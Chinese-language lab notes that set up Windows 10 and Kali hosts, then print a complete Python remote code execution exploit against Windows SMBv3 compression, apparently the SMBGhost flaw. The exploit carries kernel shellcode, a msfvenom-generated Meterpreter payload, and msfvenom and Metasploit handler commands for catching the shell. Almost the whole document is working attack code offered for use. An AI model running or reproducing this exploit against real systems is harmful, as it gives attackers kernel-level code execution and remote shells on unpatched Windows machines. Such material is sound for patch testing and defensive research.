win10：192.168.254.129
kali：192.168.254.128
生成反向连接木马：
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
kali打开msf:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.254.129
run
替换后的poc：
#!/usr/bin/env python
import sys
import socket
import struct
import argparse
from lznt1 import compress, compress_evil
from smb_win import smb_negotiate, smb_compress
# Use lowstub jmp bytes to signature search
LOWSTUB_JMP = 0x1000600E9
# Offset of PML4 pointer in lowstub
PML4_LOWSTUB_OFFSET = 0xA0
# Offset of lowstub virtual address in lowstub
SELFVA_LOWSTUB_OFFSET = 0x78
# Offset of NTOSKRNL entry address in lowstub
NTENTRY_LOWSTUB_OFFSET = 0x278
# Offset of hal!HalpApicRequestInterrupt pointer in hal!HalpInterruptController
HALP_APIC_REQ_INTERRUPT_OFFSET = 0x78
KUSER_SHARED_DATA = 0xFFFFF78000000000
# Offset of pNetRawBuffer in SRVNET_BUFFER_HDR
PNET_RAW_BUFF_OFFSET = 0x18
# Offset of pMDL1 in SRVNET_BUFFER_HDR
PMDL1_OFFSET = 0x38
# Shellcode from kernel_shellcode.asm
KERNEL_SHELLCODE = b"\x41\x50\x41\x51\x41\x55\x41\x57\x41\x56\x51\x52\x53\x56\x57\x4C"
KERNEL_SHELLCODE += b"\x8D\x35\xA0\x02\x00\x00\x49\x8B\x86\xD0\x00\x00\x00\x49\x8B\x9E"
KERNEL_SHELLCODE += b"\xD8\x00\x00\x00\x48\x89\x18\xFB\x49\x8B\x86\xE0\x00\x00\x00\x48"
KERNEL_SHELLCODE += b"\x2D\x00\x10\x00\x00\x66\x81\x38\x4D\x5A\x75\xF3\x49\x89\xC7\x4D"
KERNEL_SHELLCODE += b"\x89\xBE\xE0\x00\x00\x00\xBF\x78\x7C\xF4\xDB\xE8\xDA\x00\x00\x00"
KERNEL_SHELLCODE += b"\x49\x89\xC5\xBF\x3F\x5F\x64\x77\xE8\x2E\x01\x00\x00\x48\x89\xC1"
KERNEL_SHELLCODE += b"\xBF\xE1\x14\x01\x17\xE8\x21\x01\x00\x00\x48\x89\xC2\x48\x83\xC2"
KERNEL_SHELLCODE += b"\x08\x49\x8D\x74\x0D\x00\xE8\xFF\x00\x00\x00\x3D\xD8\x83\xE0\x3E"
KERNEL_SHELLCODE += b"\x74\x0A\x4D\x8B\x6C\x15\x00\x49\x29\xD5\xEB\xE5\xBF\x48\xB8\x18"
KERNEL_SHELLCODE += b"\xB8\x4C\x89\xE9\xE8\x91\x00\x00\x00\x49\x89\x06\x4D\x8B\x4D\x30"
KERNEL_SHELLCODE += b"\x4D\x8B\x45\x38\x49\x81\xE8\xF8\x02\x00\x00\x48\x31\xF6\x49\x81"
KERNEL_SHELLCODE += b"\xE9\xF8\x02\x00\x00\x41\x8B\x79\x74\x0F\xBA\xE7\x04\x73\x05\x4C"
KERNEL_SHELLCODE += b"\x89\xCE\xEB\x0C\x4D\x39\xC8\x4D\x8B\x89\xF8\x02\x00\x00\x75\xDE"
KERNEL_SHELLCODE += b"\x48\x85\xF6\x74\x40\x49\x8D\x4E\x08\x48\x89\xF2\x4D\x31\xC0\x4C"
KERNEL_SHELLCODE += b"\x8D\x0D\xB9\x00\x00\x00\x52\x41\x50\x41\x50\x41\x50\xBF\xC4\x5C"
KERNEL_SHELLCODE += b"\x19\x6D\x48\x83\xEC\x20\xE8\x2F\x00\x00\x00\x48\x83\xC4\x40\x49"
KERNEL_SHELLCODE += b"\x8D\x4E\x08\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20\xE8\x19\x00\x00"
KERNEL_SHELLCODE += b"\x00\x48\x83\xC4\x20\xFA\x48\x89\xD8\x5F\x5E\x5B\x5A\x59\x41\x5E"
KERNEL_SHELLCODE += b"\x41\x5F\x41\x5D\x41\x59\x41\x58\xFF\xE0\xE8\x02\x00\x00\x00\xFF"
KERNEL_SHELLCODE += b"\xE0\x53\x51\x56\x41\x8B\x47\x3C\x4C\x01\xF8\x8B\x80\x88\x00\x00"
KERNEL_SHELLCODE += b"\x00\x4C\x01\xF8\x50\x8B\x48\x18\x8B\x58\x20\x4C\x01\xFB\xFF\xC9"
KERNEL_SHELLCODE += b"\x8B\x34\x8B\x4C\x01\xFE\xE8\x1F\x00\x00\x00\x39\xF8\x75\xEF\x58"
KERNEL_SHELLCODE += b"\x8B\x58\x24\x4C\x01\xFB\x66\x8B\x0C\x4B\x8B\x58\x1C\x4C\x01\xFB"
KERNEL_SHELLCODE += b"\x8B\x04\x8B\x4C\x01\xF8\x5E\x59\x5B\xC3\x52\x31\xC0\x99\xAC\xC1"
KERNEL_SHELLCODE += b"\xCA\x0D\x01\xC2\x85\xC0\x75\xF6\x92\x5A\xC3\xE8\xA1\xFF\xFF\xFF"
KERNEL_SHELLCODE += b"\x80\x78\x02\x80\x77\x05\x0F\xB6\x40\x03\xC3\x8B\x40\x03\xC3\x41"
KERNEL_SHELLCODE += b"\x57\x41\x56\x57\x56\x48\x8B\x05\x0A\x01\x00\x00\x48\x8B\x48\x18"
KERNEL_SHELLCODE += b"\x48\x8B\x49\x20\x48\x8B\x09\x66\x83\x79\x48\x18\x75\xF6\x48\x8B"
KERNEL_SHELLCODE += b"\x41\x50\x81\x78\x0C\x33\x00\x32\x00\x75\xE9\x4C\x8B\x79\x20\xBF"
KERNEL_SHELLCODE += b"\x5E\x51\x5E\x83\xE8\x58\xFF\xFF\xFF\x49\x89\xC6\x4C\x8B\x3D\xB3"
KERNEL_SHELLCODE += b"\x01\x00\x00\x31\xC0\x44\x0F\x22\xC0\x48\x8D\x15\x8E\x01\x00\x00"
KERNEL_SHELLCODE += b"\x89\xC1\x48\xF7\xD1\x49\x89\xC0\xB0\x40\x50\xC1\xE0\x06\x50\x49"
KERNEL_SHELLCODE += b"\x89\x01\x48\x83\xEC\x20\xBF\xEA\x99\x6E\x57\xE8\x1A\xFF\xFF\xFF"
KERNEL_SHELLCODE += b"\x48\x83\xC4\x30\x48\x8B\x3D\x63\x01\x00\x00\x48\x8D\x35\x77\x00"
KERNEL_SHELLCODE += b"\x00\x00\xB9\x1D\x00\x00\x00\xF3\xA4\x48\x8D\x35\x6E\x01\x00\x00"
KERNEL_SHELLCODE += b"\xB9\x58\x02\x00\x00\xF3\xA4\x48\x8D\x0D\xD8\x00\x00\x00\x65\x48"
KERNEL_SHELLCODE += b"\x8B\x14\x25\x88\x01\x00\x00\x4D\x31\xC0\x4C\x8D\x0D\x46\x00\x00"
KERNEL_SHELLCODE += b"\x00\x41\x50\x6A\x01\x48\x8B\x05\x22\x01\x00\x00\x50\x41\x50\x48"
KERNEL_SHELLCODE += b"\x83\xEC\x20\xBF\xC4\x5C\x19\x6D\xE8\xBD\xFE\xFF\xFF\x48\x83\xC4"
KERNEL_SHELLCODE += b"\x40\x48\x8D\x0D\x9E\x00\x00\x00\x4C\x89\xF2\x4D\x31\xC9\xBF\x34"
KERNEL_SHELLCODE += b"\x46\xCC\xAF\x48\x83\xEC\x20\xE8\x9E\xFE\xFF\xFF\x48\x83\xC4\x20"
KERNEL_SHELLCODE += b"\x5E\x5F\x41\x5E\x41\x5F\xC3\x90\xC3\x48\x92\x31\xC9\x51\x51\x49"
KERNEL_SHELLCODE += b"\x89\xC9\x4C\x8D\x05\x0D\x00\x00\x00\x89\xCA\x48\x83\xEC\x20\xFF"
KERNEL_SHELLCODE += b"\xD0\x48\x83\xC4\x30\xC3\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x00"
KERNEL_SHELLCODE += b"\x00\x00\x00\x00\x00\x00"
# Reverse shell generated by msfvenom. Can you believe I had to download Kali Linux for this shit?
USER_PAYLOAD = b""
USER_PAYLOAD += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
USER_PAYLOAD += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
USER_PAYLOAD += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
USER_PAYLOAD += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
USER_PAYLOAD += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
USER_PAYLOAD += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66"
USER_PAYLOAD += b"\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80"
USER_PAYLOAD += b"\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50"
USER_PAYLOAD += b"\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
USER_PAYLOAD += b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48"
USER_PAYLOAD += b"\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75"
USER_PAYLOAD += b"\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
USER_PAYLOAD += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b"
USER_PAYLOAD += b"\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
USER_PAYLOAD += b"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
USER_PAYLOAD += b"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
USER_PAYLOAD += b"\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f"
USER_PAYLOAD += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0"
USER_PAYLOAD += b"\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x04\xd2\xc0"
USER_PAYLOAD += b"\xa8\x02\x8c\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba"
USER_PAYLOAD += b"\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00"
USER_PAYLOAD += b"\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41"
USER_PAYLOAD += b"\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48"
USER_PAYLOAD += b"\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
USER_PAYLOAD += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2"
USER_PAYLOAD += b"\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0"
USER_PAYLOAD += b"\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48"
USER_PAYLOAD += b"\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
USER_PAYLOAD += b"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
USER_PAYLOAD += b"\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
USER_PAYLOAD += b"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31"
USER_PAYLOAD += b"\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49"
USER_PAYLOAD += b"\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89"
USER_PAYLOAD += b"\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d"
USER_PAYLOAD += b"\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a"
USER_PAYLOAD += b"\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
USER_PAYLOAD += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff"
USER_PAYLOAD += b"\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4"
USER_PAYLOAD += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
USER_PAYLOAD += b"\x56\xff\xd5"
PML4_SELFREF = 0
PHAL_HEAP = 0
PHALP_INTERRUPT = 0
PHALP_APIC_INTERRUPT = 0
PNT_ENTRY = 0
max_read_retry = 3
overflow_val = 0x1100
write_unit = 0xd0
pmdl_va = KUSER_SHARED_DATA + 0x900
pmdl_mapva = KUSER_SHARED_DATA + 0x800
pshellcodeva = KUSER_SHARED_DATA + 0xa00
class MDL:
def __init__(self, map_va, phys_addr):
self.next = struct.pack("<Q", 0x0)
self.size = struct.pack("<H", 0x40)
self.mdl_flags = struct.pack("<H", 0x5004)
self.alloc_processor = struct.pack("<H", 0x0)
self.reserved = struct.pack("<H", 0x0)
self.process = struct.pack("<Q", 0x0)
self.map_va = struct.pack("<Q", map_va)
map_va &= ~0xFFF
self.start_va = struct.pack("<Q", map_va)
self.byte_count = struct.pack("<L", 0x1100)
self.byte_offset = struct.pack("<L", (phys_addr & 0xFFF) + 0x4)
phys_addr_enc = (phys_addr & 0xFFFFFFFFFFFFF000) >> 12
self.phys_addr1 = struct.pack("<Q", phys_addr_enc)
self.phys_addr2 = struct.pack("<Q", phys_addr_enc)
self.phys_addr3 = struct.pack("<Q", phys_addr_enc)
def raw_bytes(self):
mdl_bytes = self.next + self.size + self.mdl_flags + \
self.alloc_processor + self.reserved + self.process + \
self.map_va + self.start_va + self.byte_count + \
self.byte_offset + self.phys_addr1 + self.phys_addr2 + \
self.phys_addr3
return mdl_bytes
def reconnect(ip, port):
sock = socket.socket(socket.AF_INET)
sock.settimeout(7)
sock.connect((ip, port))
return sock
def write_primitive(ip, port, data, addr):
sock = reconnect(ip, port)
smb_negotiate(sock)
sock.recv(1000)
uncompressed_data = b"\x41"*(overflow_val - len(data))
uncompressed_data += b"\x00"*PNET_RAW_BUFF_OFFSET
uncompressed_data += struct.pack('<Q', addr)
compressed_data = compress(uncompressed_data)
smb_compress(sock, compressed_data, 0xFFFFFFFF, data)
sock.close()
def write_srvnet_buffer_hdr(ip, port, data, offset):
sock = reconnect(ip, port)
smb_negotiate(sock)
sock.recv(1000)
compressed_data = compress_evil(data)
dummy_data = b"\x33"*(overflow_val + offset)
smb_compress(sock, compressed_data, 0xFFFFEFFF, dummy_data)
sock.close()
def read_physmem_primitive(ip, port, phys_addr):
i = 0
while i < max_read_retry:
i += 1
buff = try_read_physmem_primitive(ip, port, phys_addr)
if buff is not None:
return buff
def try_read_physmem_primitive(ip, port, phys_addr):
fake_mdl = MDL(pmdl_mapva, phys_addr).raw_bytes()
write_primitive(ip, port, fake_mdl, pmdl_va)
write_srvnet_buffer_hdr(ip, port, struct.pack('<Q', pmdl_va), PMDL1_OFFSET)
i = 0
while i < max_read_retry:
i += 1
sock = reconnect(ip, port)
smb_negotiate(sock)
buff = sock.recv(1000)
sock.close()
if buff[4:8] != b"\xfeSMB":
return buff
def get_phys_addr(ip, port, va_addr):
pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))
pml4e = PML4 + pml4_index*0x8
pdpt_buff = read_physmem_primitive(ip, port, pml4e)
if pdpt_buff is None:
sys.exit("[-] physical read primitive failed")
pdpt = struct.unpack("<Q", pdpt_buff[0:8])[0] & 0xFFFFF000
pdpte = pdpt + pdpt_index*0x8
pdt_buff = read_physmem_primitive(ip, port, pdpte)
if pdt_buff is None:
sys.exit("[-] physical read primitive failed")
pdt = struct.unpack("<Q", pdt_buff[0:8])[0] & 0xFFFFF000
pdte = pdt + pdt_index*0x8
pt_buff = read_physmem_primitive(ip, port, pdte)
if pt_buff is None:
sys.exit("[-] physical read primitive failed")
pt = struct.unpack("<Q", pt_buff[0:8])[0]
if pt & (1 << (8 - 1)):
phys_addr = (pt & 0xFFFFF000) + (pt_index & 0xFFF)*0x1000 + (va_addr & 0xFFF)
return phys_addr
else:
pt = pt & 0xFFFFF000
pte = pt + pt_index*0x8
pte_buff = read_physmem_primitive(ip, port, pte)
if pte_buff is None:
sys.exit("[-] physical read primitive failed")
phys_addr = (struct.unpack("<Q", pte_buff[0:8])[0] & 0xFFFFF000) + \
(va_addr & 0xFFF)
return phys_addr
def get_pte_va(addr):
pt = addr >> 9
lb = (0xFFFF << 48) | (PML4_SELFREF << 39)
ub = ((0xFFFF << 48) | (PML4_SELFREF << 39) +
0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8
pt = pt | lb
pt = pt & ub
return pt
def overwrite_pte(ip, port, addr):
phys_addr = get_phys_addr(ip, port, addr)
buff = read_physmem_primitive(ip, port, phys_addr)
if buff is None:
sys.exit("[-] read primitive failed!")
pte_val = struct.unpack("<Q", buff[0:8])[0]
# Clear NX bit
overwrite_val = pte_val & (((1 << 63) - 1))
overwrite_buff = struct.pack("<Q", overwrite_val)
write_primitive(ip, port, overwrite_buff, addr)
def build_shellcode():
global KERNEL_SHELLCODE
KERNEL_SHELLCODE += struct.pack("<Q", PHALP_INTERRUPT +
HALP_APIC_REQ_INTERRUPT_OFFSET)
KERNEL_SHELLCODE += struct.pack("<Q", PHALP_APIC_INTERRUPT)
KERNEL_SHELLCODE += struct.pack("<Q", PNT_ENTRY & 0xFFFFFFFFFFFFF000)
KERNEL_SHELLCODE += USER_PAYLOAD
def search_hal_heap(ip, port):
global PHALP_INTERRUPT
global PHALP_APIC_INTERRUPT
search_len = 0x10000
index = PHAL_HEAP
page_index = PHAL_HEAP
cons = 0
phys_addr = 0
while index < PHAL_HEAP + search_len:
# It seems that pages in the HAL heap are not necessarily contiguous in physical memory,
# so we try to reduce number of reads like this
if not (index & 0xFFF):
phys_addr = get_phys_addr(ip, port, index)
else:
phys_addr = (phys_addr & 0xFFFFFFFFFFFFF000) + (index & 0xFFF)
buff = read_physmem_primitive(ip, port, phys_addr)
if buff is None:
sys.exit("[-] physical read primitive failed!")
entry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1)
i = 0
# This heuristic seems to be OK to find HalpInterruptController, but could use improvement
while i < entry_indices:
entry = struct.unpack("<Q", buff[i:i+8])[0]
i += 8
if (entry & 0xFFFFFF0000000000) != 0xFFFFF80000000000:
cons = 0
continue
cons += 1
if cons > 3:
PHALP_INTERRUPT = index + i - 0x40
print("[+] found HalpInterruptController at %lx"
% PHALP_INTERRUPT)
if len(buff) < i + 0x40:
buff = read_physmem_primitive(ip, port, phys_addr + i + 0x38)
PHALP_APIC_INTERRUPT = struct.unpack("<Q", buff[0:8])[0]
if buff is None:
sys.exit("[-] physical read primitive failed!")
else:
PHALP_APIC_INTERRUPT = struct.unpack("<Q",buff[i + 0x38:i+0x40])[0]
print("[+] found HalpApicRequestInterrupt at %lx" % PHALP_APIC_INTERRUPT)
return
index += entry_indices
sys.exit("[-] failed to find HalpInterruptController!")
def search_selfref(ip, port):
search_len = 0x1000
index = PML4
while search_len:
buff = read_physmem_primitive(ip, port, index)
if buff is None:
return
entry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1)
i = 0
while i < entry_indices:
entry = struct.unpack("<Q",buff[i:i+8])[0] & 0xFFFFF000
if entry == PML4:
return index + i
i += 8
search_len -= entry_indices
index += entry_indices
def find_pml4_selfref(ip, port):
global PML4_SELFREF
self_ref = search_selfref(ip, port)
if self_ref is None:
sys.exit("[-] failed to find PML4 self reference entry!")
PML4_SELFREF = (self_ref & 0xFFF) >> 3
print("[+] found PML4 self-ref entry %0x" % PML4_SELFREF)
def find_low_stub(ip, port):
global PML4
global PHAL_HEAP
global PNT_ENTRY
limit = 0x100000
index = 0x1000
while index < limit:
buff = read_physmem_primitive(ip, port, index)
if buff is None:
sys.exit("[-] physical read primitive failed!")
entry = struct.unpack("<Q", buff[0:8])[0] & 0xFFFFFFFFFFFF00FF
if entry == LOWSTUB_JMP:
print("[+] found low stub at phys addr %lx!" % index)
PML4 = struct.unpack("<Q", buff[PML4_LOWSTUB_OFFSET: PML4_LOWSTUB_OFFSET + 8])[0]
print("[+] PML4 at %lx" % PML4)
PHAL_HEAP = struct.unpack("<Q", buff[SELFVA_LOWSTUB_OFFSET:SELFVA_LOWSTUB_OFFSET + 8])[0] & 0xFFFFFFFFF0000000
print("[+] base of HAL heap at %lx" % PHAL_HEAP)
buff = read_physmem_primitive(ip, port, index + NTENTRY_LOWSTUB_OFFSET)
if buff is None:
sys.exit("[-] physical read primitive failed!")
PNT_ENTRY = struct.unpack("<Q", buff[0:8])[0]
print("[+] ntoskrnl entry at %lx" % PNT_ENTRY)
return
index += 0x1000
sys.exit("[-] Failed to find low stub in physical memory!")
def do_rce(ip, port):
find_low_stub(ip, port)
find_pml4_selfref(ip, port)
search_hal_heap(ip, port)
build_shellcode()
print("[+] built shellcode!")
pKernelUserSharedPTE = get_pte_va(KUSER_SHARED_DATA)
print("[+] KUSER_SHARED_DATA PTE at %lx" % pKernelUserSharedPTE)
overwrite_pte(ip, port, pKernelUserSharedPTE)
print("[+] KUSER_SHARED_DATA PTE NX bit cleared!")
# TODO: figure out why we can't write the entire shellcode data at once. There is a check before srv2!Srv2DecompressData preventing the call of the function.
to_write = len(KERNEL_SHELLCODE)
write_bytes = 0
while write_bytes < to_write:
write_sz = min([write_unit, to_write - write_bytes])
write_primitive(ip, port, KERNEL_SHELLCODE[write_bytes:write_bytes + write_sz], pshellcodeva + write_bytes)
write_bytes += write_sz
print("[+] Wrote shellcode at %lx!" % pshellcodeva)
input("[+] Press a key to execute shellcode!")
write_primitive(ip, port, struct.pack("<Q", pshellcodeva), PHALP_INTERRUPT + HALP_APIC_REQ_INTERRUPT_OFFSET)
print("[+] overwrote HalpInterruptController pointer, should have execution shortly...")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-ip", help="IP address of target", required=True)
parser.add_argument("-p", "--port", default=445, help="SMB port, \
default: 445", required=False, type=int)
args = parser.parse_args()
do_rce(args.ip, args.port)
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